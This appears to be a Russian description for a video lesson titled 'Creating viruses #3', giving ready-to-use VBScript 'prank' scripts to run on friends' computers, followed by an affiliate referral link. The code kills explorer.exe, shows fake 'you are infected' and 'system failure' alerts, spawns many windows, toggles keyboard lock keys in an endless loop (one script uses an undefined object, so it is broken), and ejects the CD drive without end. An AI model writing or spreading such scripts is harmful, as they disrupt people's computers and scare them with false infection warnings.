Создание вирусов№3(более подробно о .VBS)

В этом видео уроке мы расскажем вам более подробно о VBScript и научим делать небольшие пугалки для друзей. _._._._._._._._._СКРИПТ ПУГАЛКА_._._._._._._._._ on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 msgbox"Неполадка системы",16,"Error" msgbox"Вы заражены вирусом",48,"Windows" msgbox"Необходим перезапуск системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" _._._._._._._._._СКРИПТ "КЛАВИАТУРА"_._._._._._._._._ do wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" loop _._._._._._._._._СКРИПТ "ДИСКОВВОД"_._._._._._._._._ Set WMPlayer = CreateObject("WMPlayer.OCX.7") do WMPlayer.CdRomCollection.Item(0).Eject() loop 1 2 3 4 5 6 7 8 9 0 - = йцукенгшщзхъ фывапролджэ\ ячсмитьбю. Моя партнерская программа VSP Group. Подключайся! https://youpartnerwsp.com/ru/join?65104